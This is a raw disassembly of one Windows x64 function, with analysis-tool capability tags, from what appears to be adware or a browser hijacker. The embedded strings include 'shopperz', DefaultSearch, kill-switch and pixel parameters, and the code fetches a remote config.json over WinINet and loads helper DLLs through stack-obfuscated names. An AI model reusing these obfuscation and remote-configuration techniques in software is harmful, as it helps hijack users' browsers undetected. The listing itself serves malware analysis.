Function at 0x140004010
Capabilities:
Contain obfuscated stackstrings
Create http request
Link many functions at runtime
Query or enumerate registry value
Read data from internet
Receive data

Disassembly:
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x16ea0
call fcn.140030360
sub rsp, rax
mov qword [rsp + 0x318], 0xfffffffffffffffe
mov qword [rsp + 0x16ed8], rbx
mov qword [rsp + 0x16ee0], rsi
mov rax, qword [0x140052a10]
xor rax, rsp
mov qword [rsp + 0x16e90], rax
mov rsi, rcx
mov qword [rsp + 0x60], rcx
xor r14d, r14d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r14
mov rdx, qword [rcx + 0x448]
test rdx, rdx
je 0x14000408c
mov rcx, qword [rcx + 8]
call qword [sym.imp.USER32.dll_KillTimer]
mov qword [rsi + 0x448], r14
mov eax, 0xf
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x648], r14
mov byte [rsp + 0x638], r14b
movdqa xmm0, xmmword [0x140048c00]
movdqu xmmword [rsp + 0x1020], xmm0
movdqa xmm1, xmmword [0x140048bf0]
movdqu xmmword [rsp + 0x1030], xmm1
movdqa xmm0, xmmword [str.tless_js_config.Node_shopperz121SoftwareWow6432_47C7_94A5_DCC83FAECC00E_8025Set_dailyPixelIDLiveSwitchParamNkillSwitchParamNSet_dailyPixelURGetToasterUPAndSlocalStoreFileNaSet_sleepParamNaSet_localStorePaSetkillForeverPaSet_localStoreDeGetSwitchUPAndSeDefaultSearchCheClearLSParamNameUnlock_dailyPixeSet_localStoreFilocalStoreDefaulSet_ClearLSParamaliveSwitchParamSetstartRdrParamkillForeverParam_evtextDailyPingseg1ext1rnSHGetKnownFolderprotected_valuKillSwitchInMinu6t7.hwcdn.net_exhttp:__cds.q2u3z_]
movdqu xmmword [rsp + 0x1040], xmm0
mov word [rsp + 0x1050], 0x736a
mov byte [rsp + 0x1052], r14b
mov qword [rsp + 0x8e8], rax
mov qword [rsp + 0x8e0], r14
mov byte [rsp + 0x8d0], r14b
lea rcx, [rsp + 0x1020]
call fcn.140022090
mov r8, rax
lea rdx, [rsp + 0x1020]
lea rcx, [rsp + 0x8d0]
call fcn.140009528
nop
mov dword [rsp + 0xb88], 0x61647075
mov dword [rsp + 0xb8c], 0x742e6574
mov word [rsp + 0xb90], 0x7478
mov byte [rsp + 0xb92], r14b
xor edx, edx
mov r8d, VarUI4FromDisp
lea rcx, [rsp + 0x940]
call fcn.1400221f0
lea rax, [0x140046608]
mov qword [rsp + 0x940], rax
mov ebx, 2
mov dword [rsp + 0x30], ebx
lea rax, [0x140047310]
mov qword [rsp + 0x9f0], rax
mov dword [rsp + 0x9ec], 0x98
mov qword [rsp + 0x948], r14
lea rdx, [rsp + 0x950]
lea rcx, [rsp + 0x9f0]
call fcn.14000cd38
nop
mov rax, qword [rsp + 0x940]
movsxd rcx, dword [rax + 4]
lea rax, [0x140046600]
mov qword [rsp + rcx + 0x940], rax
mov rax, qword [rsp + 0x940]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x93c], edx
lea rcx, [rsp + 0x950]
call fcn.14000daa4
lea rax, [0x140046588]
mov qword [rsp + 0x950], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x950]
call fcn.14000d324
nop
lea r13d, [rbx - 1]
mov r8d, r13d
lea rdx, [rsp + 0xb88]
lea rcx, [rsp + 0x950]
call fcn.14000d20c
test rax, rax
jne 0x14000426b
mov rax, qword [rsp + 0x940]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x940]
mov edx, dword [rcx + 0x10]
or edx, ebx
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], r14
cmove edx, eax
xor r8d, r8d
call fcn.1400021d4
nop
cmp qword [rsp + 0x9e0], r14
je 0x1400042e6
mov qword [rsp + 0x40], r14
mov byte [rsp + 0x48], r13b
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x170], xmm0
mov rax, qword [rsp + 0x940]
movsxd rcx, dword [rax + 4]
mov rax, qword [rsp + rcx + 0x988]
mov qword [rsp + 0x40], rax
test rax, rax
sete byte [rsp + 0x48]
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x320], xmm0
lea r8, [rsp + 0x170]
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x8d0]
call fcn.14000f004
lea rcx, [rsp + 0x940]
call fcn.14000b3b4
lea r8, [rsp + 0x8d0]
lea rdx, [rsp + 0x90]
call fcn.140007f5c
mov rbx, rax
cmp qword [rax + 0x18], 8
jb 0x140004308
mov rbx, qword [rax]
call fcn.140011138
mov rdx, rax
mov ecx, r14d
test rax, rax
setne cl
test ecx, ecx
jne 0x140004327
mov ecx, 0x80004005
call fcn.14001a5a4
mov rax, qword [rax]
mov rcx, rdx
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rsp + 0x660], rdi
test rbx, rbx
je 0x1400043ea
test rbx, 0xffffffffffff0000
jne 0x1400043ea
movzx r12d, bx
xor edx, edx
lea rcx, [0x140054490]
call fcn.1400206f0
mov rbx, rax
mov r15d, r13d
test rax, rax
je 0x1400043cd
mov r14d, r12d
shr r14d, 4
xor r9d, r9d
lea eax, [r9 + 1]
add eax, r14d
movzx r8d, ax
lea edx, [r9 + 6]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
test rax, rax
je 0x1400043a9
mov r8d, r12d
mov rdx, rax
mov rcx, rbx
call fcn.140010408
test rax, rax
jne 0x1400043c5
mov edx, r15d
lea rcx, [0x140054490]
call fcn.1400206f0
mov rbx, rax
inc r15d
test rax, rax
je 0x1400043ca
jmp 0x140004376
xor r14d, r14d
jmp 0x1400043d0
xor r14d, r14d
mov rbx, r14
test rbx, rbx
je 0x140004402
mov r8d, r12d
mov rdx, rbx
lea rcx, [rsp + 0x660]
call fcn.14000df40
jmp 0x1400043fa
mov rdx, rbx
lea rcx, [rsp + 0x660]
call fcn.140009188
mov rdi, qword [rsp + 0x660]
cmp qword [rsp + 0xa8], 8
jb 0x14000441a
mov rcx, qword [rsp + 0x90]
call fcn.140021758
mov qword [rsp + 0xa8], 7
mov qword [rsp + 0xa0], r14
mov word [rsp + 0x90], r14w
mov dword [rsp + 0xcf0], 0x6f004d
mov dword [rsp + 0xcf4], 0x69007a
mov dword [rsp + 0xcf8], 0x6c006c
mov dword [rsp + 0xcfc], 0x2f0061
mov dword [rsp + 0xd00], 0x2e0035
mov dword [rsp + 0xd04], 0x200030
mov dword [rsp + 0xd08], 0x570028
mov dword [rsp + 0xd0c], 0x6e0069
mov dword [rsp + 0xd10], 0x6f0064
mov dword [rsp + 0xd14], 0x730077
mov dword [rsp + 0xd18], 0x4e0020
mov dword [rsp + 0xd1c], 0x200054
mov dword [rsp + 0xd20], 0x2e0036
mov dword [rsp + 0xd24], 0x3b0032
mov dword [rsp + 0xd28], 0x570020
mov dword [rsp + 0xd2c], 0x57004f
mov dword [rsp + 0xd30], 0x340036
mov dword [rsp + 0xd34], 0x200029
mov dword [rsp + 0xd38], 0x700041
mov dword [rsp + 0xd3c], 0x6c0070
mov dword [rsp + 0xd40], 0x570065
mov dword [rsp + 0xd44], 0x620065
mov dword [rsp + 0xd48], 0x69004b
mov dword [rsp + 0xd4c], 0x2f0074
mov dword [rsp + 0xd50], 0x330035
mov dword [rsp + 0xd54], 0x2e0037
mov dword [rsp + 0xd58], 0x360033
mov dword [rsp + 0xd5c], 0x280020
mov dword [rsp + 0xd60], 0x48004b
mov dword [rsp + 0xd64], 0x4d0054
mov dword [rsp + 0xd68], 0x2c004c
mov dword [rsp + 0xd6c], 0x6c0020
mov dword [rsp + 0xd70], 0x6b0069
mov dword [rsp + 0xd74], 0x200065
mov dword [rsp + 0xd78], 0x650047
mov dword [rsp + 0xd7c], 0x6b0063
mov dword [rsp + 0xd80], 0x29006f
mov dword [rsp + 0xd84], 0x430020
mov dword [rsp + 0xd88], 0x720068
mov dword [rsp + 0xd8c], 0x6d006f
mov dword [rsp + 0xd90], 0x2f0065
mov dword [rsp + 0xd94], 0x310033
mov dword [rsp + 0xd98], 0x30002e
mov dword [rsp + 0xd9c], 0x31002e
mov dword [rsp + 0xda0], 0x350036
mov dword [rsp + 0xda4], 0x2e0030
mov dword [rsp + 0xda8], 0x330036
mov dword [rsp + 0xdac], 0x530020
mov dword [rsp + 0xdb0], 0x660061
mov dword [rsp + 0xdb4], 0x720061
mov dword [rsp + 0xdb8], 0x2f0069
mov dword [rsp + 0xdbc], 0x330035
mov dword [rsp + 0xdc0], 0x2e0037
mov dword [rsp + 0xdc4], 0x360033
mov word [rsp + 0xdc8], r14w
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xcf0]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rbx, rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000900
xor r9d, r9d
xor r8d, r8d
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r13, rax
mov qword [rsp + 0x50], rax
test rbx, rbx
je 0x140004741
test rax, rax
je 0x140004741
mov dword [rsp + 0x658], r14d
lea r9, [rsp + 0x658]
mov r8d, 0x1000
lea rdx, [rsp + 0x5a90]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x1400047e0
mov r8d, dword [rsp + 0x658]
lea rdx, [rsp + 0x5a90]
lea rcx, [rsp + 0x638]
call fcn.140009430
cmp dword [rsp + 0x658], r14d
ja 0x1400046ee
jmp 0x1400047e0
mov dword [rsp + 0xc78], 0x6f0063
mov dword [rsp + 0xc7c], 0x66006e
mov dword [rsp + 0xc80], 0x670069
mov dword [rsp + 0xc84], 0x6a002e
mov dword [rsp + 0xc88], 0x73
mov qword [rsp + 0x88], 7
mov qword [rsp + 0x80], r14
mov word [rsp + 0x70], r14w
lea rcx, [rsp + 0xc78]
call fcn.140021980
mov r8, rax
lea rdx, [rsp + 0xc78]
lea rcx, [rsp + 0x70]
call fcn.14000db70
nop
lea r8, [rsp + 0x638]
lea rdx, [rsp + 0x70]
mov rcx, rsi
call fcn.140003848
nop
cmp qword [rsp + 0x88], 8
jb 0x1400047e0
mov rcx, qword [rsp + 0x70]
call fcn.140021758
mov al, 0x7b
mov byte [rsp + 0x608], al
mov r12, qword [rsp + 0x648]
test r12, r12
je 0x140004892
mov ecx, 1
cmp r12, rcx
jb 0x140004892
lea r15, [rsp + 0x638]
lea r14d, [rcx + 0xf]
cmp qword [rsp + 0x650], r14
cmovae r15, qword [rsp + 0x638]
test r12, r12
je 0x140004898
movsx edx, al
mov r8, r12
mov rcx, r15
call fcn.1400221c0
mov rbx, rax
test rax, rax
je 0x140004898
mov r8d, 1
lea rdx, [rsp + 0x608]
mov rcx, rax
call fcn.140021fb0
test eax, eax
je 0x140004870
sub r15, rbx
dec r15
add r12, r15
lea r15, [rbx + 1]
mov al, byte [rsp + 0x608]
jmp 0x140004825
lea rax, [rsp + 0x638]
cmp qword [rsp + 0x650], r14
cmovae rax, qword [rsp + 0x638]
sub rbx, rax
or r15, 0xffffffffffffffff
jmp 0x14000489f
mov r14d, 0x10
or r15, 0xffffffffffffffff
mov rbx, r15
cmp rbx, r15
je 0x1400049db
mov r8, rbx
xor edx, edx
lea rcx, [rsp + 0x638]
call fcn.1400095ec
lea rcx, [rsp + 0x638]
cmp rcx, rax
je 0x1400048dd
mov r9, r15
xor r8d, r8d
mov rdx, rax
lea rcx, [rsp + 0x638]
call fcn.14000c9e0
mov r9b, 0x7d
mov byte [rsp + 0x600], r9b
mov rax, qword [rsp + 0x648]
mov r10d, 1
mov rdx, qword [rsp + 0x638]
mov r8, qword [rsp + 0x650]
cmp rax, r10
jb 0x1400049a3
lea rcx, [rax - 1]
cmp rcx, r15
cmova rcx, r15
lea rbx, [rsp + 0x638]
cmp r8, r14
cmovae rbx, rdx
add rbx, rcx
cmp byte [rbx], r9b
jne 0x140004966
mov r8, r10
lea rdx, [rsp + 0x600]
mov rcx, rbx
call fcn.140021fb0
xor ecx, ecx
mov r8, qword [rsp + 0x650]
mov rdx, qword [rsp + 0x638]
test eax, eax
je 0x14000497f
mov r9b, byte [rsp + 0x600]
lea r10d, [rcx + 1]
lea rax, [rsp + 0x638]
cmp r8, r14
cmovae rax, rdx
cmp rbx, rax
je 0x14000499b
sub rbx, r10
jmp 0x14000492c
lea rax, [rsp + 0x638]
cmp r8, r14
cmovae rax, rdx
sub rbx, rax
mov rax, qword [rsp + 0x648]
jmp 0x1400049a8
mov rax, qword [rsp + 0x648]
mov rbx, r15
xor ecx, ecx
cmp rbx, r15
je 0x1400049db
inc rbx
cmp rax, rbx
jae 0x1400049c1
lea rcx, str.invalid_string_position
call fcn.1400215ac
mov qword [rsp + 0x648], rbx
lea rax, [rsp + 0x638]
cmp r8, r14
cmovae rax, rdx
mov byte [rbx + rax], cl
xor eax, eax
mov qword [rsp + 0x620], rax
mov qword [rsp + 0x628], rax
mov qword [rsp + 0x630], rax
xor edx, edx
lea rcx, [rsp + 0x620]
call fcn.14001ab70
nop
xor edx, edx
mov r8d, 0xc0
lea rcx, [rsp + 0xa50]
call fcn.1400221f0
lea rcx, [rsp + 0xa50]
call fcn.14001cb20
nop
lea r8, [rsp + 0x620]
lea rdx, [rsp + 0x638]
lea rcx, [rsp + 0xa50]
call fcn.14001cc00
xor ebx, ebx
test al, al
je 0x140007400
mov dword [rsp + 0xca8], 0x650043
lea r15d, [rbx + 0x65]
mov dword [rsp + 0xcac], 0x78006f
mov dword [rsp + 0xcb0], 0x650064
mov dword [rsp + 0xcb4], 0x360074
mov dword [rsp + 0xcb8], 0x34
lea rdx, [rsp + 0xca8]
mov rcx, rsi
call fcn.140007870
mov qword [rsi + 0x4d0], rax
test rax, rax
je 0x140004d4a
mov dword [rsp + 0xc48], 0x50746553
mov dword [rsp + 0xc4c], 0x65636f72
mov dword [rsp + 0xc50], 0x694c7373
mov word [rsp + 0xc54], 0x7473
mov byte [rsp + 0xc56], bl
lea rdx, [rsp + 0xc48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x5f8], rax
test rax, rax
je 0x140004d4a
mov word [rsp + 0x6a90], bx
xor edx, edx
mov r8d, 0x103fe
lea rcx, [rsp + 0x6a92]
call fcn.1400221f0
mov r12d, ebx
mov dword [rsp + 0xb60], 0x636f7270
mov word [rsp + 0xb64], 0x73
xor eax, eax
mov qword [rsp + 0x6c8], rax
mov qword [rsp + 0x6d0], rax
mov qword [rsp + 0x6d8], rax
lea r13, [0x140046128]
mov rdx, r13
lea rcx, [rsp + 0x240]
call fcn.14001ac20
nop
lea r9, [rsp + 0x240]
lea r8, [rsp + 0xb60]
lea rdx, [rsp + 0x6c8]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x240]
call fcn.14001adb0
movsx eax, byte [rsp + 0x6d0]
add eax, 0xfffffffa
lea r8d, [rbx + 1]
cmp eax, r8d
ja 0x140004bcd
mov rax, qword [rsp + 0x6c8]
test rax, rax
je 0x140004bcd
mov rbx, qword [rax]
mov rbx, qword [rbx]
xor edx, edx
mov r15b, dl
mov byte [rsp + 0x6e8], dl
jmp 0x140004bda
mov r15b, r8b
mov byte [rsp + 0x6e8], r8b
xor edx, edx
mov qword [rsp + 0x6e0], rbx
movsx eax, byte [rsp + 0x6d0]
add eax, 0xfffffffa
cmp eax, r8d
ja 0x140004c0f
mov rax, qword [rsp + 0x6c8]
test rax, rax
je 0x140004c0f
mov rax, qword [rax]
mov qword [rsp + 0x40], rax
mov cl, dl
mov byte [rsp + 0x48], dl
jmp 0x140004c1e
mov rax, rdx
mov qword [rsp + 0x40], rdx
mov cl, r8b
mov byte [rsp + 0x48], cl
test r15b, r15b
jne 0x140004c29
cmp rbx, rax
sete cl
test cl, cl
lea rcx, [rsp + 0x6a90]
jne 0x140004d2e
imul rax, r12, 0x208
add rax, rcx
mov qword [rsp + 0x5f0], rax
add r12, r8
lea rcx, [rbx + 0x30]
lea rdx, [rsp + 0x370]
call fcn.14001af50
nop
mov r8, rax
lea rdx, [rsp + 0xb0]
call fcn.140007f5c
cmp qword [rax + 0x18], 8
jb 0x140004c7a
mov rax, qword [rax]
mov r8, rax
mov edx, 0x104
mov rcx, qword [rsp + 0x5f0]
call fcn.140023de8
cmp qword [rsp + 0xc8], 8
jb 0x140004ca7
mov rcx, qword [rsp + 0xb0]
call fcn.140021758
mov qword [rsp + 0xc8], 7
xor edx, edx
mov qword [rsp + 0xc0], rdx
mov word [rsp + 0xb0], dx
cmp qword [rsp + 0x388], r14
jb 0x140004cde
mov rcx, qword [rsp + 0x370]
call fcn.140021758
xor edx, edx
cmp byte [rbx + 0x19], dl
mov r8d, 1
jne 0x140004be2
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], dl
jne 0x140004d06
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], dl
je 0x140004cf6
jmp 0x140004bda
mov rax, qword [rbx + 8]
jmp 0x140004d19
cmp rbx, qword [rax + 0x10]
jne 0x140004d1e
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], dl
je 0x140004d0c
mov rbx, rax
mov qword [rsp + 0x6e0], rax
jmp 0x140004be2
mov rdx, r12
call qword [rsp + 0x5f8]
nop
lea rcx, [rsp + 0x6c8]
call fcn.14001adb0
xor ebx, ebx
jmp 0x140004d51
lea r13, [0x140046128]
mov dword [rsp + 0xc90], 0x6f004c
mov dword [rsp + 0xc94], 0x640070
mov dword [rsp + 0xc98], 0x620075
mov dword [rsp + 0xc9c], 0x360064
mov dword [rsp + 0xca0], 0x34
lea rdx, [rsp + 0xc90]
mov rcx, rsi
call fcn.140007870
mov qword [rsi + 0x4d8], rax
test rax, rax
je 0x140005335
mov dword [rsp + 0xb98], 0x41746553
mov dword [rsp + 0xb9c], 0x72615053
mov word [rsp + 0xba0], 0x6d61
mov byte [rsp + 0xba2], bl
lea rdx, [rsp + 0xb98]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
xor r15d, r15d
test rax, rax
je 0x140004ec5
movdqa xmm0, xmmword [0x140048b70]
movdqu xmmword [rsp + 0xe90], xmm0
mov dword [rsp + 0xea0], 0x656d614e
mov byte [rsp + 0xea4], r15b
xor eax, eax
mov qword [rsp + 0x858], rax
mov qword [rsp + 0x860], rax
mov qword [rsp + 0x868], rax
mov rdx, r13
lea rcx, [rsp + 0x1c8]
call fcn.14001ac20
nop
lea r9, [rsp + 0x1c8]
lea r8, [rsp + 0xe90]
lea rdx, [rsp + 0x858]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x1c8]
call fcn.14001adb0
cmp byte [rsp + 0x860], 4
jne 0x140004eb8
lea rdx, [rsp + 0x3f0]
lea rcx, [rsp + 0x858]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x140004e9a
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
cmp qword [rsp + 0x408], r14
jb 0x140004eb8
mov rcx, qword [rsp + 0x3f0]
call fcn.140021758
nop
lea rcx, [rsp + 0x858]
call fcn.14001adb0
mov dword [rsp + 0xba8], 0x4b746553
mov dword [rsp + 0xbac], 0x72615053
mov word [rsp + 0xbb0], 0x6d61
mov byte [rsp + 0xbb2], r15b
lea rdx, [rsp + 0xba8]
mov rcx, qword [rsi + 0x4d8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140004fdc
movdqa xmm0, xmmword [0x140048a80]
movdqu xmmword [rsp + 0xf08], xmm0
mov dword [rsp + 0xf18], 0x656d61
xor eax, eax
mov qword [rsp + 0x7f8], rax
mov qword [rsp + 0x800], rax
mov qword [rsp + 0x808], rax
mov rdx, r13
lea rcx, [rsp + 0x288]
call fcn.14001ac20
nop
lea r9, [rsp + 0x288]
lea r8, [rsp + 0xf08]
lea rdx, [rsp + 0x7f8]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x288]
call fcn.14001adb0
cmp byte [rsp + 0x800], 4
jne 0x140004fcf
lea rdx, [rsp + 0x3b0]
lea rcx, [rsp + 0x7f8]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x140004fb1
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
cmp qword [rsp + 0x3c8], r14
jb 0x140004fcf
mov rcx, qword [rsp + 0x3b0]
call fcn.140021758
nop
lea rcx, [rsp + 0x7f8]
call fcn.14001adb0
movdqa xmm0, xmmword [0x140048ae0]
movdqu xmmword [rsp + 0xe30], xmm0
mov dword [rsp + 0xe40], 0x4e6d6172
mov dword [rsp + 0xe44], 0x656d61
lea rdx, [rsp + 0xe30]
mov rcx, qword [rsi + 0x4d8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x1400050fa
movdqa xmm0, xmmword [0x140048b90]
movdqu xmmword [rsp + 0xed8], xmm0
mov dword [rsp + 0xee8], 0x656d614e
mov byte [rsp + 0xeec], r15b
xor eax, eax
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x7a0], rax
mov qword [rsp + 0x7a8], rax
mov rdx, r13
lea rcx, [rsp + 0x1f8]
call fcn.14001ac20
nop
lea r9, [rsp + 0x1f8]
lea r8, [rsp + 0xed8]
lea rdx, [rsp + 0x798]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x1f8]
call fcn.14001adb0
cmp byte [rsp + 0x7a0], 4
jne 0x1400050ed
lea rdx, [rsp + 0x350]
lea rcx, [rsp + 0x798]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x1400050cf
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
cmp qword [rsp + 0x368], r14
jb 0x1400050ed
mov rcx, qword [rsp + 0x350]
call fcn.140021758
nop
lea rcx, [rsp + 0x798]
call fcn.14001adb0
mov dword [rsp + 0xbd8], 0x4c746553
mov dword [rsp + 0xbdc], 0x72615053
mov word [rsp + 0xbe0], 0x6d61
mov byte [rsp + 0xbe2], r15b
lea rdx, [rsp + 0xbd8]
mov rcx, qword [rsi + 0x4d8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140005211
movdqa xmm0, xmmword [0x140048a70]
movdqu xmmword [rsp + 0xef0], xmm0
mov dword [rsp + 0xf00], 0x656d61
xor eax, eax
mov qword [rsp + 0x7b0], rax
mov qword [rsp + 0x7b8], rax
mov qword [rsp + 0x7c0], rax
mov rdx, r13
lea rcx, [rsp + 0x2e8]
call fcn.14001ac20
nop
lea r9, [rsp + 0x2e8]
lea r8, [rsp + 0xef0]
lea rdx, [rsp + 0x7b0]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x2e8]
call fcn.14001adb0
cmp byte [rsp + 0x7b8], 4
jne 0x140005204
lea rdx, [rsp + 0x390]
lea rcx, [rsp + 0x7b0]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x1400051e6
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
cmp qword [rsp + 0x3a8], r14
jb 0x140005204
mov rcx, qword [rsp + 0x390]
call fcn.140021758
nop
lea rcx, [rsp + 0x7b0]
call fcn.14001adb0
movdqa xmm0, xmmword [0x140048b80]
movdqu xmmword [rsp + 0xec0], xmm0
mov dword [rsp + 0xed0], 0x656d614e
mov byte [rsp + 0xed4], r15b
lea rdx, [rsp + 0xec0]
mov rcx, qword [rsi + 0x4d8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x140005333
mov dword [rsp + 0xc08], 0x72617473
mov dword [rsp + 0xc0c], 0x72645274
mov dword [rsp + 0xc10], 0x61726150
mov word [rsp + 0xc14], 0x6d
xor eax, eax
mov qword [rsp + 0x840], rax
mov qword [rsp + 0x848], rax
mov qword [rsp + 0x850], rax
mov rdx, r13
lea rcx, [rsp + 0x228]
call fcn.14001ac20
nop
lea r9, [rsp + 0x228]
lea r8, [rsp + 0xc08]
lea rdx, [rsp + 0x840]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x228]
call fcn.14001adb0
cmp byte [rsp + 0x848], 4
jne 0x140005326
lea rdx, [rsp + 0x3d0]
lea rcx, [rsp + 0x840]
call fcn.14001af50
nop
cmp qword [rax + 0x18], r14
jb 0x140005308
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
cmp qword [rsp + 0x3e8], r14
jb 0x140005326
mov rcx, qword [rsp + 0x3d0]
call fcn.140021758
nop
lea rcx, [rsp + 0x840]
call fcn.14001adb0
xor ebx, ebx
mov dword [rsp + 0xcc0], 0x68004b
mov dword [rsp + 0xcc4], 0x610077
mov dword [rsp + 0xcc8], 0x6c0063
mov dword [rsp + 0xccc], 0x730061
mov dword [rsp + 0xcd0], 0x340036
mov word [rsp + 0xcd4], bx
lea rdx, [rsp + 0xcc0]
mov rcx, rsi
call fcn.140007870
mov qword [rsi + 0x4e8], rax
test rax, rax
je 0x1400057aa
movdqa xmm0, xmmword [0x140048ad0]
movdqu xmmword [rsp + 0xf80], xmm0
mov word [rsp + 0xf90], 0x6874
mov byte [rsp + 0xf92], bl
lea rdx, [rsp + 0xf80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
movdqa xmm0, xmmword [0x140048b40]
movdqu xmmword [rsp + 0xe48], xmm0
mov dword [rsp + 0xe58], 0x614e656c
mov word [rsp + 0xe5c], 0x656d
xor r12d, r12d
mov byte [rsp + 0xe5e], r12b
lea rdx, [rsp + 0xe48]
mov rcx, qword [rsi + 0x4e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
movdqa xmm0, xmmword [0x140048af0]
movdqu xmmword [rsp + 0xe10], xmm0
mov dword [rsp + 0xe20], 0x6c756166
mov dword [rsp + 0xe24], 0x6c615674
mov word [rsp + 0xe28], 0x6575
mov byte [rsp + 0xe2a], r12b
lea rdx, [rsp + 0xe10]
mov rcx, qword [rsi + 0x4e8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
xor eax, eax
test rbx, rbx
je 0x14000559d
mov dword [rsp + 0xc58], 0x61636f6c
mov dword [rsp + 0xc5c], 0x6f74536c
mov dword [rsp + 0xc60], 0x61506572
mov word [rsp + 0xc64], 0x6874
mov byte [rsp + 0xc66], al
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], rax
mov qword [rsp + 0x7f0], rax
mov rdx, r13
lea rcx, [rsp + 0x2b8]
call fcn.14001ac20
nop
lea r9, [rsp + 0x2b8]
lea r8, [rsp + 0xc58]
lea rdx, [rsp + 0x7e0]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x2b8]
call fcn.14001adb0
cmp byte [rsp + 0x7e8], 4
jne 0x140005590
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x7e0]
call fcn.14001af50
nop
mov r8, rax
lea rdx, [rsp + 0xf0]
call fcn.140007f5c
nop
cmp qword [rax + 0x18], 8
jb 0x14000553c
mov rax, qword [rax]
mov rcx, rax
call rbx
nop
cmp qword [rsp + 0x108], 8
jb 0x14000555a
mov rcx, qword [rsp + 0xf0]
call fcn.140021758
mov qword [rsp + 0x108], 7
xor eax, eax
mov qword [rsp + 0x100], rax
mov word [rsp + 0xf0], ax
cmp qword [rsp + 0x428], r14
jb 0x140005590
mov rcx, qword [rsp + 0x410]
call fcn.140021758
nop
lea rcx, [rsp + 0x7e0]
call fcn.14001adb0
xor ebx, ebx
test r15, r15
je 0x1400056c4
movdqa xmm0, xmmword [0x140048ab0]
movdqu xmmword [rsp + 0xf68], xmm0
mov word [rsp + 0xf78], 0x656d
mov byte [rsp + 0xf7a], bl
xor eax, eax
mov qword [rsp + 0x8a0], rax
mov qword [rsp + 0x8a8], rax
mov qword [rsp + 0x8b0], rax
mov rdx, r13
lea rcx, [rsp + 0x258]
call fcn.14001ac20
nop
lea r9, [rsp + 0x258]
lea r8, [rsp + 0xf68]
lea rdx, [rsp + 0x8a0]
lea rcx, [rsp + 0x620]
call fcn.14001b5c0
nop
lea rcx, [rsp + 0x258]
call fcn.14001adb0
cmp byte [rsp + 0x8a8], 4
jne 0x1400056b7
lea rdx, [rsp + 0x4d0]
lea rcx, [rsp + 0x8a0]
call fcn.14001af50
nop
mov r8, rax
lea rdx, [rsp + 0xd0]
call fcn.140007f5c
nop
cmp qword [rax + 0x18], 8
jb 0x140005667
mov rax, qword [rax]
mov rcx, rax
call r15
nop
cmp qword [rsp + 0xe8], 8
jb 0x140005686
mov rcx, qword [rsp + 0xd0]
call fcn.140021758
mov qword [rsp + 0xe8], 7
mov qword [rsp + 0xe0], rbx
mov word [rsp + 0xd0], bx
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x4d0]
call fcn.14000cb94
nop
lea rcx, [rsp + 0x8a0]
call fcn.14001adb0
test r12, r12
je 0x1400057aa
movdqa xmm0, xmmword [0x140048b50]
movdqu xmmword [rsp + 0xe78], xmm0
mov dword [rsp + 0xe88], 0x6c615674
mov word [rsp + 0xe8c], 0x6575
mov byte [rsp + 0xe8e], bl
xor eax, eax
mov qword [rsp + 0x810], rax
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x820], rax
mov rdx, r13
